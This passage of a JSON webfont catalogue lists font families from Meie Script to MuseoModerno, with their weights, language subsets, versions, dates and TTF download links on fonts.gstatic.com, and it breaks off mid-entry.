Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/meiescript/v8/_LOImzDK7erRjhunIspaMjxn5IXg0WDz.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Merienda","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/merienda/v9/gNMHW3x8Qoy5_mf8uVMCOou6_dvg.ttf","700":"http://fonts.gstatic.com/s/merienda/v9/gNMAW3x8Qoy5_mf8uWu-Fa-y1sfpPES4.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Merienda One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/meriendaone/v11/H4cgBXaMndbflEq6kyZ1ht6YgoyyYzFzFw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Merriweather","variants":["300","300italic","regular","italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v22","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/merriweather/v22/u-4n0qyriQwlOrhSvowK_l521wRpX837pvjxPA.ttf","300italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4l0qyriQwlOrhSvowK_l5-eR7lXcf_hP3hPGWH.ttf","regular":"http://fonts.gstatic.com/s/merriweather/v22/u-440qyriQwlOrhSvowK_l5OeyxNV-bnrw.ttf","italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4m0qyriQwlOrhSvowK_l5-eSZJdeP3r-Ho.ttf","700":"http://fonts.gstatic.com/s/merriweather/v22/u-4n0qyriQwlOrhSvowK_l52xwNpX837pvjxPA.ttf","700italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4l0qyriQwlOrhSvowK_l5-eR71Wsf_hP3hPGWH.ttf","900":"http://fonts.gstatic.com/s/merriweather/v22/u-4n0qyriQwlOrhSvowK_l52_wFpX837pvjxPA.ttf","900italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4l0qyriQwlOrhSvowK_l5-eR7NWMf_hP3hPGWH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Merriweather Sans","variants":["300","regular","500","600","700","800","300italic","italic","500italic","600italic","700italic","800italic"],"subsets":["cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-08-21","files":{"300":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZ_O4ljuEG7xFHnQ.ttf","regular":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZou4ljuEG7xFHnQ.ttf","500":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZkO4ljuEG7xFHnQ.ttf","600":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZfOkljuEG7xFHnQ.ttf","700":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZRekljuEG7xFHnQ.ttf","800":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZIukljuEG7xFHnQ.ttf","300italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq2TzesCzRRXnaur.ttf","italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq3NzesCzRRXnaur.ttf","500italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq3_zesCzRRXnaur.ttf","600italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq0TyusCzRRXnaur.ttf","700italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq0qyusCzRRXnaur.ttf","800italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq1NyusCzRRXnaur.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Metal","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metal/v13/lW-wwjUJIXTo7i3nnoQAUdN2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Metal Mania","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metalmania/v10/RWmMoKWb4e8kqMfBUdPFJeXCg6UKDXlq.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Metamorphous","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metamorphous/v11/Wnz8HA03aAXcC39ZEX5y1330PCCthTsmaQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Metrophobic","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metrophobic/v14/sJoA3LZUhMSAPV_u0qwiAT-J737FPEEL.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Michroma","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/michroma/v11/PN_zRfy9qWD8fEagAMg6rzjb_-Da.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Milonga","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/milonga/v8/SZc53FHnIaK9W5kffz3GkUrS8DI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miltonian","variants":["regular"],"subsets":["latin"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/miltonian/v14/zOL-4pbPn6Ne9JqTg9mr6e5As-FeiQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miltonian Tattoo","variants":["regular"],"subsets":["latin"],"version":"v16","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/miltoniantattoo/v16/EvOUzBRL0o0kCxF-lcMCQxlpVsA_FwP8MDBku-s.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mina","variants":["regular","700"],"subsets":["bengali","latin","latin-ext"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mina/v4/-nFzOGc18vARrz9j7i3y65o.ttf","700":"http://fonts.gstatic.com/s/mina/v4/-nF8OGc18vARl4NMyiXZ95OkJwA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Miniver","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/miniver/v9/eLGcP-PxIg-5H0vC770Cy8r8fWA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miriam Libre","variants":["regular","700"],"subsets":["hebrew","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/miriamlibre/v7/DdTh798HsHwubBAqfkcBTL_vYJn_Teun9g.ttf","700":"http://fonts.gstatic.com/s/miriamlibre/v7/DdT-798HsHwubBAqfkcBTL_X3LbbRcC7_-Z7Hg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mirza","variants":["regular","500","600","700"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/mirza/v9/co3ImWlikiN5EurdKMewsrvI.ttf","500":"http://fonts.gstatic.com/s/mirza/v9/co3FmWlikiN5EtIpAeO4mafBomDi.ttf","600":"http://fonts.gstatic.com/s/mirza/v9/co3FmWlikiN5EtIFBuO4mafBomDi.ttf","700":"http://fonts.gstatic.com/s/mirza/v9/co3FmWlikiN5EtJhB-O4mafBomDi.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miss Fajardose","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/missfajardose/v10/E21-_dn5gvrawDdPFVl-N0Ajb8qvWPaJq4no.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mitr","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8fMZFJDUc1NECPY.ttf","300":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8ZcaFJDUc1NECPY.ttf","regular":"http://fonts.gstatic.com/s/mitr/v5/pxiLypw5ucZFyTsyMJj_b1o.ttf","500":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8c8bFJDUc1NECPY.ttf","600":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8eMcFJDUc1NECPY.ttf","700":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8YcdFJDUc1NECPY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Modak","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/modak/v5/EJRYQgs1XtIEsnMH8BVZ76KU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Modern Antiqua","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/modernantiqua/v10/NGStv5TIAUg6Iq_RLNo_2dp1sI1Ea2u0c3Gi.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mogra","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mogra/v7/f0X40eSs8c95TBo4DvLmxtnG.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Molengo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/molengo/v11/I_uuMpWeuBzZNBtQbbRQkiCvs5Y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Molle","variants":["italic"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"italic":"http://fonts.gstatic.com/s/molle/v9/E21n_dL5hOXFhWEsXzgmVydREus.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Monda","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/monda/v10/TK3tWkYFABsmjvpmNBsLvPdG.ttf","700":"http://fonts.gstatic.com/s/monda/v10/TK3gWkYFABsmjsLaGz8Dl-tPKo2t.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Monofett","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/monofett/v10/mFTyWbofw6zc9NtnW43SuRwr0VJ7.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Monoton","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/monoton/v10/5h1aiZUrOngCibe4fkbBQ2S7FU8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Monsieur La Doulaise","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/monsieurladoulaise/v9/_Xmz-GY4rjmCbQfc-aPRaa4pqV340p7EZl5ewkEU4HTy.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Montaga","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/montaga/v8/H4cnBX2Ml8rCkEO_0gYQ7LO5mqc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Montez","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/montez/v11/845ZNMk5GoGIX8lm1LDeSd-R_g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Montserrat","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-15","files":{"100":"http://fonts.gstatic.com/s/montserrat/v15/JTUQjIg1_i6t8kCHKm45_QphziTn89dtpQ.ttf","100italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUOjIg1_i6t8kCHKm459WxZqi7j0dJ9pTOi.ttf","200":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_aZA7g7J_950vCo.ttf","200italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZBg_D-_xxrCq7qg.ttf","300":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_cJD7g7J_950vCo.ttf","300italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZYgzD-_xxrCq7qg.ttf","regular":"http://fonts.gstatic.com/s/montserrat/v15/JTUSjIg1_i6t8kCHKm45xW5rygbi49c.ttf","italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUQjIg1_i6t8kCHKm459WxhziTn89dtpQ.ttf","500":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_ZpC7g7J_950vCo.ttf","500italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZOg3D-_xxrCq7qg.ttf","600":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_bZF7g7J_950vCo.ttf","600italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZFgrD-_xxrCq7qg.ttf","700":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_dJE7g7J_950vCo.ttf","700italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZcgvD-_xxrCq7qg.ttf","800":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_c5H7g7J_950vCo.ttf","800italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZbgjD-_xxrCq7qg.ttf","900":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_epG7g7J_950vCo.ttf","900italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZSgnD-_xxrCq7qg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Montserrat Alternates","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/montserratalternates/v12/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU0xiKfVKphL03l4.ttf","100italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTjWacfw6zH4dthXcyms1lPpC8I_b0juU057p-xIJxp1ml4imo.ttf","200":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xJIb1ALZH2mBhkw.ttf","200italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8dAbxD-GVxk3Nd.ttf","300":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xQIX1ALZH2mBhkw.ttf","300italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p95ArxD-GVxk3Nd.ttf","regular":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTvWacfw6zH4dthXcyms1lPpC8I_b0juU0J7K3RCJ1b0w.ttf","italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU057qfVKphL03l4.ttf","500":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xGIT1ALZH2mBhkw.ttf","500italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8hA7xD-GVxk3Nd.ttf","600":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xNIP1ALZH2mBhkw.ttf","600italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8NBLxD-GVxk3Nd.ttf","700":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xUIL1ALZH2mBhkw.ttf","700italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9pBbxD-GVxk3Nd.ttf","800":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xTIH1ALZH2mBhkw.ttf","800italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p91BrxD-GVxk3Nd.ttf","900":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xaID1ALZH2mBhkw.ttf","900italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9RB7xD-GVxk3Nd.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Montserrat Subrayada","variants":["regular","700"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/montserratsubrayada/v10/U9MD6c-o9H7PgjlTHThBnNHGVUORwteQQE8LYuceqGT-.ttf","700":"http://fonts.gstatic.com/s/montserratsubrayada/v10/U9MM6c-o9H7PgjlTHThBnNHGVUORwteQQHe3TcMWg3j36Ebz.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Moul","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/moul/v12/nuF2D__FSo_3E-RYiJCy-00.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Moulpali","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/moulpali/v13/H4ckBXKMl9HagUWymyY6wr-wg763.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mountains of Christmas","variants":["regular","700"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mountainsofchristmas/v13/3y9w6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7ePNamMPNpJpc.ttf","700":"http://fonts.gstatic.com/s/mountainsofchristmas/v13/3y9z6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7eBGqJFPtCOp6IaEA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mouse Memoirs","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mousememoirs/v8/t5tmIRoSNJ-PH0WNNgDYxdSb7TnFrpOHYh4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mr Bedfort","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mrbedfort/v9/MQpR-WCtNZSWAdTMwBicliq0XZe_Iy8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mr Dafoe","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/mrdafoe/v9/lJwE-pIzkS5NXuMMrGiqg7MCxz_C.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mr De Haviland","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mrdehaviland/v9/OpNVnooIhJj96FdB73296ksbOj3C4ULVNTlB.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mrs Saint Delafield","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/mrssaintdelafield/v8/v6-IGZDIOVXH9xtmTZfRagunqBw5WC62cK4tLsubB2w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mrs Sheppards","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mrssheppards/v9/PN_2Rfm9snC0XUGoEZhb91ig3vjxynMix4Y.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mukta","variants":["200","300","regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2019-07-17","files":{"200":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEOjFma-2HW7ZB_.ttf","300":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFqj1ma-2HW7ZB_.ttf","regular":"http://fonts.gstatic.com/s/mukta/v7/iJWKBXyXfDDVXYnGp32S0H3f.ttf","500":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEyjlma-2HW7ZB_.ttf","600":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEeiVma-2HW7ZB_.ttf","700":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbF6iFma-2HW7ZB_.ttf","800":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFmi1ma-2HW7ZB_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mukta Mahee","variants":["200","300","regular","500","600","700","800"],"subsets":["gurmukhi","latin","latin-ext"],"version":"v7","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9MFcBoHJndqZCsW.ttf","300":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9NhcxoHJndqZCsW.ttf","regular":"http://fonts.gstatic.com/s/muktamahee/v7/XRXQ3IOIi0hcP8iVU67hA-vNWz4PDWtj.ttf","500":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9M5choHJndqZCsW.ttf","600":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9MVdRoHJndqZCsW.ttf","700":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9NxdBoHJndqZCsW.ttf","800":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9NtdxoHJndqZCsW.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mukta Malar","variants":["200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext","tamil"],"version":"v7","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqIMwBtAB62ruoAZW.ttf","300":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqINUBdAB62ruoAZW.ttf","regular":"http://fonts.gstatic.com/s/muktamalar/v7/MCoXzAXyz8LOE2FpJMxZqLv4LfQJwHbn.ttf","500":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqIMMBNAB62ruoAZW.ttf","600":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqIMgA9AB62ruoAZW.ttf","700":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqINEAtAB62ruoAZW.ttf","800":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqINYAdAB62ruoAZW.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mukta Vaani","variants":["200","300","regular","500","600","700","800"],"subsets":["gujarati","latin","latin-ext"],"version":"v7","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXNV8BD-u97MW1a.ttf","300":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWpVMBD-u97MW1a.ttf","regular":"http://fonts.gstatic.com/s/muktavaani/v7/3Jn5SD_-ynaxmxnEfVHPIF0FfORL0fNy.ttf","500":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXxVcBD-u97MW1a.ttf","600":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXdUsBD-u97MW1a.ttf","700":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGW5U8BD-u97MW1a.ttf","800":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWlUMBD-u97MW1a.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mulish","variants":["200","300","regular","500","600","700","800","900","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-07-13","files":{"200":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexRNRwaClGrw-PTY.ttf","300":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexc1RwaClGrw-PTY.ttf","regular":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexZNRwaClGrw-PTY.ttf","500":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexaFRwaClGrw-PTY.ttf","600":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexU1WwaClGrw-PTY.ttf","700":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexXRWwaClGrw-PTY.ttf","800":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexRNWwaClGrw-PTY.ttf","900":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexTpWwaClGrw-PTY.ttf","200italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSqeOvHp47LTZFwA.ttf","300italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSd-OvHp47LTZFwA.ttf","italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSKeOvHp47LTZFwA.ttf","500italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSG-OvHp47LTZFwA.ttf","600italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsS9-SvHp47LTZFwA.ttf","700italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSzuSvHp47LTZFwA.ttf","800italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSqeSvHp47LTZFwA.ttf","900italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSgOSvHp47LTZFwA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"MuseoModerno","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMlZFuewajeKlCdo.ttf","200":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMtZEuewajeKlCdo.ttf","300":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMghEuewajeKlCdo.ttf","regular":"http://fonts.gstatic.com/s/mu